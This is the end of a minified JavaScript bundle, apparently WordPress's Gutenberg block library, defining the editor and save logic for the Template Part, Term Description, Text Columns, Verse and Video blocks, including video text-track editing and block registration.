t=(e,t)=>{const{area:n,theme:o,slug:a}=e;if(n)return n===t.area;if(!a)return!1;const r=(0,it.select)(lt.store).getEntityRecord("postType","wp_template_part",`${o}//${a}`);return(null==r?void 0:r.area)===t.area},n=e.variations.map((e=>{return{...e,...!e.isActive&&{isActive:t},..."string"==typeof e.icon&&{icon:(n=e.icon,"header"===n?jk:"footer"===n?Zk:"sidebar"===n?Qk:Lk)}};var n}));return{...e,variations:n}}return e}const Yk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/template-part",title:"Template Part",category:"theme",description:"Edit the different global regions of your site, like the header, footer, sidebar, or create your own.",textdomain:"default",attributes:{slug:{type:"string"},theme:{type:"string"},tagName:{type:"string"},area:{type:"string"}},supports:{align:!0,html:!1,reusable:!1},editorStyle:"wp-block-template-part-editor"},{name:Jk}=Yk,Xk={icon:Lk,__experimentalLabel:e=>{var t;let{slug:n,theme:o}=e;if(!n)return;const a=(0,it.select)(lt.store).getEntityRecord("postType","wp_template_part",o+"//"+n);return a?(0,Pd.decodeEntities)(null===(t=a.title)||void 0===t?void 0:t.rendered)||function(e,t){return void 0===t&&(t={}),function(e,t){void 0===t&&(t={});for(var n=t.splitRegexp,o=void 0===n?Pk:n,a=t.stripRegexp,r=void 0===a?Ik:a,l=t.transform,i=void 0===l?Nk:l,s=t.delimiter,c=void 0===s?" ":s,u=zk(zk(e,o,"$1\0$2"),r,"\0"),m=0,d=u.length;"\0"===u.charAt(m);)m++;for(;"\0"===u.charAt(d-1);)d--;return u.slice(m,d).split("\0").map(i).join(c)}(e,Tk({delimiter:" ",transform:Mk},t))}(a.slug):void 0},edit:function(e){let{attributes:t,setAttributes:n,clientId:o,isSelected:a}=e;const{slug:r,theme:l,tagName:i,layout:s={}}=t,c=Gd(l,r),u=(0,Ze.__experimentalUseHasRecursion)(c),[m,d]=(0,$e.useState)(!1),{isResolved:p,innerBlocks:g,isMissing:h,area:v}=(0,it.useSelect)((e=>{const{getEditedEntityRecord:n,hasFinishedResolution:a}=e(lt.store),{getBlocks:r}=e(Ze.store),l=["postType","wp_template_part",c],i=c?n(...l):null,s=(null==i?void 0:i.area)||t.area,u=!!c&&a("getEditedEntityRecord",l);return{innerBlocks:r(o),isResolved:u,isMissing:u&&(0,St.isEmpty)(i),area:s}}),[c,o]),{templateParts:b}=Rk(v,c),_=Ak(v,o),y=!!b.length||!!_.length,f=Hk(v),k=(0,Ze.useBlockProps)(),x=!r,w=!x&&!h&&p,E=i||f.tagName,C=a&&w&&y&&("header"===v||"footer"===v);return 0===g.length&&(r&&!l||r&&h)?(0,$e.createElement)(E,k,(0,$e.createElement)(Ze.Warning,null,(0,je.sprintf)(
/* translators: %s: Template part slug */
(0,je.__)("Template part has been deleted or is unavailable: %s"),r))):w&&u?(0,$e.createElement)(E,k,(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Block cannot be rendered inside itself."))):(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.__experimentalRecursionProvider,{uniqueId:c},(0,$e.createElement)(qk,{tagName:i,setAttributes:n,isEntityAvailable:w,templatePartId:c,defaultWrapper:f.tagName}),x&&(0,$e.createElement)(E,k,(0,$e.createElement)(Fk,{area:t.area,templatePartId:c,clientId:o,setAttributes:n,onOpenSelectionModal:()=>d(!0)})),C&&(0,$e.createElement)(Ze.BlockSettingsMenuControls,null,(()=>(0,$e.createElement)(We.MenuItem,{onClick:()=>{d(!0)}},(0,$e.createInterpolateElement)((0,je.__)("Replace <BlockTitle />"),{BlockTitle:(0,$e.createElement)(Ze.BlockTitle,{clientId:o,maximumLength:25})})))),w&&(0,$e.createElement)(Wk,{tagName:E,blockProps:k,postId:c,hasInnerBlocks:g.length>0,layout:s}),!x&&!p&&(0,$e.createElement)(E,k,(0,$e.createElement)(We.Spinner,null))),m&&(0,$e.createElement)(We.Modal,{overlayClassName:"block-editor-template-part__selection-modal",title:(0,je.sprintf)(// Translators: %s as template part area title ("Header", "Footer", etc.).
(0,je.__)("Choose a %s"),f.label.toLowerCase()),closeLabel:(0,je.__)("Cancel"),onRequestClose:()=>d(!1)},(0,$e.createElement)(Ok,{templatePartId:c,clientId:o,area:v,setAttributes:n,onClose:()=>d(!1)})))}},ex=()=>{(0,Js.addFilter)("blocks.registerBlockType","core/template-part",Kk);const e=["core/post-template","core/post-content"];return(0,Js.addFilter)("blockEditor.__unstableCanInsertBlockType","removeTemplatePartsFromPostTemplates",((t,n,o,a)=>{let{getBlock:r,getBlockParentsByBlockName:l}=a;if("core/template-part"!==n.name)return t;for(const t of e){var i;if((null===(i=r(o))||void 0===i?void 0:i.name)===t||l(o,t).length)return!1}return!0})),qe({name:Jk,metadata:Yk,settings:Xk})},tx=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M6.08 10.103h2.914L9.657 12h1.417L8.23 4H6.846L4 12h1.417l.663-1.897Zm1.463-4.137.994 2.857h-2l1.006-2.857ZM11 16H4v-1.5h7V16Zm1 0h8v-1.5h-8V16Zm-4 4H4v-1.5h4V20Zm7-1.5V20H9v-1.5h6Z"})),nx={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/term-description",title:"Term Description",category:"theme",description:"Display the description of categories, tags and custom taxonomies when viewing an archive.",textdomain:"default",attributes:{textAlign:{type:"string"}},supports:{align:["wide","full"],html:!1,color:{link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{padding:!0,margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-term-description-editor"},{name:ox}=nx,ax={icon:tx,edit:function(e){let{attributes:t,setAttributes:n,mergedStyle:o}=e;const{textAlign:a}=t,r=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${a}`]:a}),style:o});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:a,onChange:e=>{n({textAlign:e})}})),(0,$e.createElement)("div",r,(0,$e.createElement)("div",{className:"wp-block-term-description__placeholder"},(0,$e.createElement)("span",null,(0,je.__)("Term Description")))))}},rx=()=>qe({name:ox,metadata:nx,settings:ax}),lx={to:[{type:"block",blocks:["core/columns"],transform:e=>{let{className:t,columns:n,content:o,width:a}=e;return(0,Ge.createBlock)("core/columns",{align:"wide"===a||"full"===a?a:void 0,className:t,columns:n},o.map((e=>{let{children:t}=e;return(0,Ge.createBlock)("core/column",{},[(0,Ge.createBlock)("core/paragraph",{content:t})])})))}}]},ix={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/text-columns",title:"Text Columns (deprecated)",icon:"columns",category:"design",description:"This block is deprecated. Please use the Columns block instead.",textdomain:"default",attributes:{content:{type:"array",source:"query",selector:"p",query:{children:{type:"string",source:"html"}},default:[{},{}]},columns:{type:"number",default:2},width:{type:"string"}},supports:{inserter:!1},editorStyle:"wp-block-text-columns-editor",style:"wp-block-text-columns"},{name:sx}=ix,cx={transforms:lx,getEditWrapperProps(e){const{width:t}=e;if("wide"===t||"full"===t)return{"data-align":t}},edit:function(e){let{attributes:t,setAttributes:n}=e;const{width:o,content:a,columns:r}=t;return Wu()("The Text Columns block",{since:"5.3",alternative:"the Columns block"}),(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(Ze.BlockAlignmentToolbar,{value:o,onChange:e=>n({width:e}),controls:["center","wide","full"]})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,null,(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Columns"),value:r,onChange:e=>n({columns:e}),min:2,max:4,required:!0}))),(0,$e.createElement)("div",(0,Ze.useBlockProps)({className:`align${o} columns-${r}`}),Array.from({length:r}).map(((e,t)=>(0,$e.createElement)("div",{className:"wp-block-column",key:`column-${t}`},(0,$e.createElement)(Ze.RichText,{tagName:"p",value:(0,St.get)(a,[t,"children"]),onChange:e=>{n({content:[...a.slice(0,t),{children:e},...a.slice(t+1)]})},"aria-label":(0,je.sprintf)(// translators: %d: column index (starting with 1)
(0,je.__)("Column %d text"),t+1),placeholder:(0,je.__)("New Column")}))))))},save:function(e){let{attributes:t}=e;const{width:n,content:o,columns:a}=t;return(0,$e.createElement)("div",Ze.useBlockProps.save({className:`align${n} columns-${a}`}),Array.from({length:a}).map(((e,t)=>(0,$e.createElement)("div",{className:"wp-block-column",key:`column-${t}`},(0,$e.createElement)(Ze.RichText.Content,{tagName:"p",value:(0,St.get)(o,[t,"children"])})))))}},ux=()=>qe({name:sx,metadata:ix,settings:cx}),mx=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z"})),dx={attributes:{content:{type:"string",source:"html",selector:"pre",default:""},textAlign:{type:"string"}},save(e){let{attributes:t}=e;const{textAlign:n,content:o}=t;return(0,$e.createElement)(Ze.RichText.Content,{tagName:"pre",style:{textAlign:n},value:o})}},px={attributes:{content:{type:"string",source:"html",selector:"pre",default:"",__unstablePreserveWhiteSpace:!0,__experimentalRole:"content"},textAlign:{type:"string"}},supports:{anchor:!0,color:{gradients:!0,link:!0},typography:{fontSize:!0,__experimentalFontFamily:!0},spacing:{padding:!0}},save(e){let{attributes:t}=e;const{textAlign:n,content:o}=t,a=at()({[`has-text-align-${n}`]:n});return(0,$e.createElement)("pre",Ze.useBlockProps.save({className:a}),(0,$e.createElement)(Ze.RichText.Content,{value:o}))},migrate:Kt,isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 0:t.fontFamily}},gx=[px,dx],hx={from:[{type:"block",blocks:["core/paragraph"],transform:e=>(0,Ge.createBlock)("core/verse",e)}],to:[{type:"block",blocks:["core/paragraph"],transform:e=>(0,Ge.createBlock)("core/paragraph",e)}]},vx=hx,bx={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/verse",title:"Verse",category:"text",description:"Insert poetry. Use special spacing formats. Or quote song lyrics.",keywords:["poetry","poem"],textdomain:"default",attributes:{content:{type:"string",source:"html",selector:"pre",default:"",__unstablePreserveWhiteSpace:!0,__experimentalRole:"content"},textAlign:{type:"string"}},supports:{anchor:!0,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,__experimentalFontFamily:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0}},spacing:{margin:!0,padding:!0}},style:"wp-block-verse",editorStyle:"wp-block-verse-editor"},{name:yx}=bx,fx={icon:mx,example:{attributes:{
// translators: Sample content for the Verse block. Can be replaced with a more locale-adequate work.
content:(0,je.__)("WHAT was he doing, the great god Pan,\n\tDown in the reeds by the river?\nSpreading ruin and scattering ban,\nSplashing and paddling with hoofs of a goat,\nAnd breaking the golden lilies afloat\n    With the dragon-fly on the river.")}},transforms:vx,deprecated:gx,merge:(e,t)=>({content:e.content+t.content}),edit:function(e){let{attributes:t,setAttributes:n,mergeBlocks:o,onRemove:a,style:r}=e;const{textAlign:l,content:i}=t,s=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${l}`]:l}),style:r});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(Ze.AlignmentToolbar,{value:l,onChange:e=>{n({textAlign:e})}})),(0,$e.createElement)(Ze.RichText,nt({tagName:"pre",identifier:"content",preserveWhiteSpace:!0,value:i,onChange:e=>{n({content:e})},"aria-label":(0,je.__)("Verse text"),placeholder:(0,je.__)("Write verse…"),onRemove:a,onMerge:o,textAlign:l},s,{__unstablePastePlainText:!0})))},save:function(e){let{attributes:t}=e;const{textAlign:n,content:o}=t,a=at()({[`has-text-align-${n}`]:n});return(0,$e.createElement)("pre",Ze.useBlockProps.save({className:a}),(0,$e.createElement)(Ze.RichText.Content,{value:o}))}},kx=()=>qe({name:yx,metadata:bx,settings:fx}),xx=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z"})),wx=[{value:"auto",label:(0,je.__)("Auto")},{value:"metadata",label:(0,je.__)("Metadata")},{value:"none",label:(0,je._x)("None","Preload value")}],Ex=e=>{let{setAttributes:t,attributes:n}=e;const{autoplay:o,controls:a,loop:r,muted:l,playsInline:i,preload:s}=n,c=(0,je.__)("Autoplay may cause usability issues for some users."),u=$e.Platform.select({web:(0,$e.useCallback)((e=>e?c:null),[]),native:c}),m=(0,$e.useMemo)((()=>{const e=e=>n=>{t({[e]:n})};return{autoplay:e("autoplay"),loop:e("loop"),muted:e("muted"),controls:e("controls"),playsInline:e("playsInline")}}),[]),d=(0,$e.useCallback)((e=>{t({preload:e})}),[]);return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Autoplay"),onChange:m.autoplay,checked:o,help:u}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Loop"),onChange:m.loop,checked:r}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Muted"),onChange:m.muted,checked:l}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Playback controls"),onChange:m.controls,checked:a}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Play inline"),onChange:m.playsInline,checked:i}),(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Preload"),value:s,onChange:d,options:wx,hideCancelButton:!0}))},Cx=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z"})),Sx=["text/vtt"],Bx="subtitles",Tx=[{label:(0,je.__)("Subtitles"),value:"subtitles"},{label:(0,je.__)("Captions"),value:"captions"},{label:(0,je.__)("Descriptions"),value:"descriptions"},{label:(0,je.__)("Chapters"),value:"chapters"},{label:(0,je.__)("Metadata"),value:"metadata"}],Nx=(0,$e.createElement)(We.SVG,{width:"18",height:"14",viewBox:"0 0 18 14",role:"img",fill:"none"},(0,$e.createElement)(We.Rect,{x:"0.75",y:"0.75",width:"16.5",height:"12.5",rx:"1.25",stroke:"black",strokeWidth:"1.5",fill:"none"}),(0,$e.createElement)(We.Path,{d:"M3 7H15",stroke:"black",strokeWidth:"1.5"}),(0,$e.createElement)(We.Path,{d:"M3 10L15 10",stroke:"black",strokeWidth:"1.5"}));function Px(e){let t,{tracks:n,onEditPress:o}=e;return t=0===n.length?(0,$e.createElement)("p",{className:"block-library-video-tracks-editor__tracks-informative-message"},(0,je.__)("Tracks can be subtitles, captions, chapters, or descriptions. They help make your content more accessible to a wider range of users.")):n.map(((e,t)=>(0,$e.createElement)("div",{key:t,className:"block-library-video-tracks-editor__track-list-track"},(0,$e.createElement)("span",null,e.label," "),(0,$e.createElement)(We.Button,{variant:"tertiary",onClick:()=>o(t),"aria-label":(0,je.sprintf)(
/* translators: %s: Label of the video text track e.g: "French subtitles" */
(0,je.__)("Edit %s"),e.label)},(0,je.__)("Edit"))))),(0,$e.createElement)(We.MenuGroup,{label:(0,je.__)("Text tracks"),className:"block-library-video-tracks-editor__track-list"},t)}function Ix(e){let{track:t,onChange:n,onClose:o,onRemove:a}=e;const{src:r="",label:l="",srcLang:i="",kind:s=Bx}=t,c=r.startsWith("blob:")?"":(0,rt.getFilename)(r)||"";return(0,$e.createElement)(We.NavigableMenu,null,(0,$e.createElement)("div",{className:"block-library-video-tracks-editor__single-track-editor"},(0,$e.createElement)("span",{className:"block-library-video-tracks-editor__single-track-editor-edit-track-label"},(0,je.__)("Edit track")),(0,$e.createElement)("span",null,(0,je.__)("File"),": ",(0,$e.createElement)("b",null,c)),(0,$e.createElement)("div",{className:"block-library-video-tracks-editor__single-track-editor-label-language"},(0,$e.createElement)(We.TextControl,{autoFocus:!0,onChange:e=>n({...t,label:e}),label:(0,je.__)("Label"),value:l,help:(0,je.__)("Title of track")}),(0,$e.createElement)(We.TextControl,{onChange:e=>n({...t,srcLang:e}),label:(0,je.__)("Source language"),value:i,help:(0,je.__)("Language tag (en, fr, etc.)")})),(0,$e.createElement)(We.SelectControl,{className:"block-library-video-tracks-editor__single-track-editor-kind-select",options:Tx,value:s,label:(0,je.__)("Kind"),onChange:e=>{n({...t,kind:e})}}),(0,$e.createElement)("div",{className:"block-library-video-tracks-editor__single-track-editor-buttons-container"},(0,$e.createElement)(We.Button,{variant:"secondary",onClick:()=>{const e={};let a=!1;""===l&&(e.label=(0,je.__)("English"),a=!0),""===i&&(e.srcLang="en",a=!0),void 0===t.kind&&(e.kind=Bx,a=!0),a&&n({...t,...e}),o()}},(0,je.__)("Close")),(0,$e.createElement)(We.Button,{isDestructive:!0,variant:"link",onClick:a},(0,je.__)("Remove track")))))}function zx(e){let{tracks:t=[],onChange:n}=e;const o=(0,it.useSelect)((e=>e(Ze.store).getSettings().mediaUpload),[]),[a,r]=(0,$e.useState)(null);return o?(0,$e.createElement)(We.Dropdown,{contentClassName:"block-library-video-tracks-editor",renderToggle:e=>{let{isOpen:t,onToggle:n}=e;return(0,$e.createElement)(We.ToolbarButton,{label:(0,je.__)("Text tracks"),showTooltip:!0,"aria-expanded":t,"aria-haspopup":"true",onClick:n,icon:Nx})},renderContent:()=>null!==a?(0,$e.createElement)(Ix,{track:t[a],onChange:e=>{const o=[...t];o[a]=e,n(o)},onClose:()=>r(null),onRemove:()=>{n(t.filter(((e,t)=>t!==a))),r(null)}}):(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.NavigableMenu,null,(0,$e.createElement)(Px,{tracks:t,onEditPress:r}),(0,$e.createElement)(We.MenuGroup,{className:"block-library-video-tracks-editor__add-tracks-container",label:(0,je.__)("Add tracks")},(0,$e.createElement)(Ze.MediaUpload,{onSelect:e=>{let{url:o}=e;const a=t.length;n([...t,{src:o}]),r(a)},allowedTypes:Sx,render:e=>{let{open:t}=e;return(0,$e.createElement)(We.MenuItem,{icon:Cx,onClick:t},(0,je.__)("Open Media Library"))}}),(0,$e.createElement)(Ze.MediaUploadCheck,null,(0,$e.createElement)(We.FormFileUpload,{onChange:e=>{const a=e.target.files,l=t.length;o({allowedTypes:Sx,filesList:a,onFileChange:e=>{let[{url:o}]=e;const a=[...t];a[l]||(a[l]={}),a[l]={...t[l],src:o},n(a),r(l)}})},accept:".vtt,text/vtt",render:e=>{let{openFileDialog:t}=e;return(0,$e.createElement)(We.MenuItem,{icon:au,onClick:()=>{t()}},(0,je.__)("Upload"))}})))))}):null}function Mx(e){let{tracks:t=[]}=e;return t.map((e=>(0,$e.createElement)("track",nt({key:e.src},e))))}const Lx=e=>(0,$e.createElement)(We.Placeholder,{className:"block-editor-media-placeholder",withIllustration:!0,icon:xx,label:(0,je.__)("Video"),instructions:(0,je.__)("Upload a video file, pick one from your media library, or add one with a URL.")},e),Rx=["video"],Ax=["image"],Vx={from:[{type:"files",isMatch:e=>1===e.length&&0===e[0].type.indexOf("video/"),transform(e){const t=e[0];return(0,Ge.createBlock)("core/video",{src:(0,xt.createBlobURL)(t)})}},{type:"shortcode",tag:"video",attributes:{src:{type:"string",shortcode:e=>{let{named:{src:t,mp4:n,m4v:o,webm:a,ogv:r,flv:l}}=e;return t||n||o||a||r||l}},poster:{type:"string",shortcode:e=>{let{named:{poster:t}}=e;return t}},loop:{type:"string",shortcode:e=>{let{named:{loop:t}}=e;return t}},autoplay:{type:"string",shortcode:e=>{let{named:{autoplay:t}}=e;return t}},preload:{type:"string",shortcode:e=>{let{named:{preload:t}}=e;return t}}}}]},Hx={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/video",title:"Video",category:"media",description:"Embed a video from your media library or upload a new one.",keywords:["movie"],textdomain:"default",attributes:{autoplay:{type:"boolean",source:"attribute",selector:"video",attribute:"autoplay"},caption:{type:"string",source:"html",selector:"figcaption",__experimentalRole:"content"},controls:{type:"boolean",source:"attribute",selector:"video",attribute:"controls",default:!0},id:{type:"number",__experimentalRole:"content"},loop:{type:"boolean",source:"attribute",selector:"video",attribute:"loop"},muted:{type:"boolean",source:"attribute",selector:"video",attribute:"muted"},poster:{type:"string",source:"attribute",selector:"video",attribute:"poster"},preload:{type:"string",source:"attribute",selector:"video",attribute:"preload",default:"metadata"},src:{type:"string",source:"attribute",selector:"video",attribute:"src",__experimentalRole:"content"},playsInline:{type:"boolean",source:"attribute",selector:"video",attribute:"playsinline"},tracks:{__experimentalRole:"content",type:"array",items:{type:"object"},default:[]}},supports:{anchor:!0,align:!0,spacing:{margin:!0,padding:!0}},editorStyle:"wp-block-video-editor",style:"wp-block-video"},{name:Dx}=Hx,Fx={icon:xx,example:{attributes:{src:"https://upload.wikimedia.org/wikipedia/commons/c/ca/Wood_thrush_in_Central_Park_switch_sides_%2816510%29.webm",
// translators: Caption accompanying a video of the wood thrush singing, which serves as an example for the Video block.
caption:(0,je.__)("Wood thrush singing in Central Park, NYC.")}},transforms:Vx,edit:function e(t){let{isSelected:n,attributes:o,className:a,setAttributes:r,insertBlocksAfter:l,onReplace:i}=t;const s=(0,Wt.useInstanceId)(e),c=(0,$e.useRef)(),u=(0,$e.useRef)(),{id:m,caption:d,controls:p,poster:g,src:h,tracks:v}=o,b=!m&&(0,xt.isBlobURL)(h),_=(0,it.useSelect)((e=>e(Ze.store).getSettings().mediaUpload),[]);function y(e){var t,n;e&&e.url?r({src:e.url,id:e.id,poster:(null===(t=e.image)||void 0===t?void 0:t.src)!==e.icon?null===(n=e.image)||void 0===n?void 0:n.src:void 0}):r({src:void 0,id:void 0,poster:void 0})}function f(e){if(e!==h){const t=Lt({attributes:{url:e}});if(void 0!==t)return void i(t);r({src:e,id:void 0,poster:void 0})}}(0,$e.useEffect)((()=>{if(!m&&(0,xt.isBlobURL)(h)){const e=(0,xt.getBlobByURL)(h);e&&_({filesList:[e],onFileChange:e=>{let[t]=e;return y(t)},onError:x,allowedTypes:Rx})}}),[]),(0,$e.useEffect)((()=>{c.current&&c.current.load()}),[g]);const{createErrorNotice:k}=(0,it.useDispatch)(wt.store);function x(e){k(e,{type:"snackbar"})}const w=at()(a,{"is-transient":b}),E=(0,Ze.useBlockProps)({className:w});if(!h)return(0,$e.createElement)("div",E,(0,$e.createElement)(Ze.MediaPlaceholder,{icon:(0,$e.createElement)(Ze.BlockIcon,{icon:xx}),onSelect:y,onSelectURL:f,accept:"video/*",allowedTypes:Rx,value:o,onError:x,placeholder:Lx}));const C=`video-block__poster-image-description-${s}`;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(zx,{tracks:v,onChange:e=>{r({tracks:e})}})),(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(Ze.MediaReplaceFlow,{mediaId:m,mediaURL:h,allowedTypes:Rx,accept:"video/*",onSelect:y,onSelectURL:f,onError:x})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(Ex,{setAttributes:r,attributes:o}),(0,$e.createElement)(Ze.MediaUploadCheck,null,(0,$e.createElement)(We.BaseControl,{className:"editor-video-poster-control"},(0,$e.createElement)(We.BaseControl.VisualLabel,null,(0,je.__)("Poster image")),(0,$e.createElement)(Ze.MediaUpload,{title:(0,je.__)("Select poster image"),onSelect:function(e){r({poster:e.url})},allowedTypes:Ax,render:e=>{let{open:t}=e;return(0,$e.createElement)(We.Button,{variant:"primary",onClick:t,ref:u,"aria-describedby":C},g?(0,je.__)("Replace"):(0,je.__)("Select"))}}),(0,$e.createElement)("p",{id:C,hidden:!0},g?(0,je.sprintf)(
/* translators: %s: poster image URL. */
(0,je.__)("The current poster image url is %s"),g):(0,je.__)("There is no poster image currently selected")),!!g&&(0,$e.createElement)(We.Button,{onClick:function(){r({poster:void 0}),u.current.focus()},variant:"tertiary"},(0,je.__)("Remove")))))),(0,$e.createElement)("figure",E,(0,$e.createElement)(We.Disabled,{isDisabled:!n},(0,$e.createElement)("video",{controls:p,poster:g,src:h,ref:c},(0,$e.createElement)(Mx,{tracks:v}))),b&&(0,$e.createElement)(We.Spinner,null),(!Ze.RichText.isEmpty(d)||n)&&(0,$e.createElement)(Ze.RichText,{tagName:"figcaption",className:(0,Ze.__experimentalGetElementClassName)("caption"),"aria-label":(0,je.__)("Video caption text"),placeholder:(0,je.__)("Add caption"),value:d,onChange:e=>r({caption:e}),inlineToolbar:!0,__unstableOnSplitAtEnd:()=>l((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))})))},save:function(e){let{attributes:t}=e;const{autoplay:n,caption:o,controls:a,loop:r,muted:l,poster:i,preload:s,src:c,playsInline:u,tracks:m}=t;return(0,$e.createElement)("figure",Ze.useBlockProps.save(),c&&(0,$e.createElement)("video",{autoPlay:n,controls:a,loop:r,muted:l,poster:i,preload:"metadata"!==s?s:void 0,src:c,playsInline:u},(0,$e.createElement)(Mx,{tracks:m})),!Ze.RichText.isEmpty(o)&&(0,$e.createElement)(Ze.RichText.Content,{className:(0,Ze.__experimentalGetElementClassName)("caption"),tagName:"figcaption",value:o}))}},Gx=()=>qe({name:Dx,metadata:Hx,settings:Fx});var $x=n(5720),Ux=n.n($x);const Ox=()=>[Q,L,I,N,V,H,fe,e,a,r,l,i,s,...window.wp&&window.wp.oldEditor?[c]:[],u,m,d,g,S,B,T,P,M,R,A,F,G,$,W,Z,j,me,de,ke,we,Ee,Ce,Se,Pe,Ie,ze,Me,Re,He,De,Fe,U,O,q,Be,Ne,Te,pe,Ae,t,ue,re,le,oe,K,Y,X,ee,ne,ae,ce,ie,se,he,ve,be,_e,ge,xe,p,h,v,b,_,y,f,C,x,w,E,k,te,Le,z,D,Ve,ye,J].filter(Boolean),qx=()=>Ox().filter((e=>{let{metadata:t}=e;return!Ux()(t)})),Wx=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:qx();e.forEach((e=>{let{init:t}=e;return t()})),(0,Ge.setDefaultBlockName)(Gg),window.wp&&window.wp.oldEditor&&(0,Ge.setFreeformContentHandlerName)(jn),(0,Ge.setUnregisteredTypeHandlerName)(md),(0,Ge.setGroupingBlockName)(bc)},jx=function(){let{enableFSEBlocks:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=[e?"fse":null];Ox().filter((e=>{let{metadata:t}=e;return Ux()(t)})).filter((e=>{let{metadata:{__experimental:n}}=e;return!0===n||t.includes(n)})).forEach((e=>{let{init:t}=e;return t()}))}})(),(window.wp=window.wp||{}).blockLibrary=o})();
//# sourceMappingURL=index.min.js.map
